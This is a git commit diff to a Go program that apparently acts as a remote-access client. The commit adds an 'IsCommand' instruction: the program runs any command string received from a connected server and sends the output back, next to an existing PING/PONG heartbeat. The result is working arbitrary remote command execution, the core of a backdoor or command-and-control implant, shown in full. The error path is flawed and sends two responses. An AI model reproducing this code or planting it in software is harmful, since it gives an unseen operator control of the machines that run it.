Add ability to execute commands remotely
This commit is contained in:
parent
812deb4bdc
commit
baaa10086a
40
main.go
40
main.go
|
@ -8,6 +8,7 @@ import (
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
"os/exec"
|
||||||
"os/user"
|
"os/user"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
|
@ -24,11 +25,13 @@ type Client struct {
|
||||||
|
|
||||||
type Instructions struct {
|
type Instructions struct {
|
||||||
IsHeartbeat bool
|
IsHeartbeat bool
|
||||||
|
IsCommand bool
|
||||||
Message string
|
Message string
|
||||||
}
|
}
|
||||||
|
|
||||||
type Response struct {
|
type Response struct {
|
||||||
Message string
|
Successful bool
|
||||||
|
Message string
|
||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
|
@ -127,20 +130,47 @@ func awaitInstructions(conn net.Conn) error {
|
||||||
switch {
|
switch {
|
||||||
///////////////////////////////
|
///////////////////////////////
|
||||||
case inst.IsHeartbeat == true && inst.Message == "PING":
|
case inst.IsHeartbeat == true && inst.Message == "PING":
|
||||||
resp := Response{Message: "PONG"}
|
if err := Heartbeat(conn); err != nil {
|
||||||
err := sendMessage(resp, conn)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
///////////////////////////////
|
///////////////////////////////
|
||||||
|
case inst.IsCommand == true:
|
||||||
|
if err := executeCommand(conn, inst.Message); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
///////////////////////////////
|
||||||
default:
|
default:
|
||||||
sendMessage(Response{Message: "Unknown order!"}, conn)
|
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
|
||||||
}
|
}
|
||||||
///////////////////////////////
|
///////////////////////////////
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func Heartbeat(conn net.Conn) error {
|
||||||
|
resp := Response{Successful: true, Message: "PONG"}
|
||||||
|
err := sendMessage(resp, conn)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func executeCommand(conn net.Conn, command string) error {
|
||||||
|
formattedCommand := strings.Fields(command)
|
||||||
|
out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
|
||||||
|
if err != nil {
|
||||||
|
resp := Response{Successful: false}
|
||||||
|
sendMessage(resp, conn)
|
||||||
|
}
|
||||||
|
resp := Response{
|
||||||
|
Successful: true,
|
||||||
|
Message: string(out),
|
||||||
|
}
|
||||||
|
sendMessage(resp, conn)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func sendMessage(resp Response, conn net.Conn) error {
|
func sendMessage(resp Response, conn net.Conn) error {
|
||||||
enc := gob.NewEncoder(conn)
|
enc := gob.NewEncoder(conn)
|
||||||
err := enc.Encode(&resp)
|
err := enc.Encode(&resp)
|
||||||
|
|
Loading…
Reference in New Issue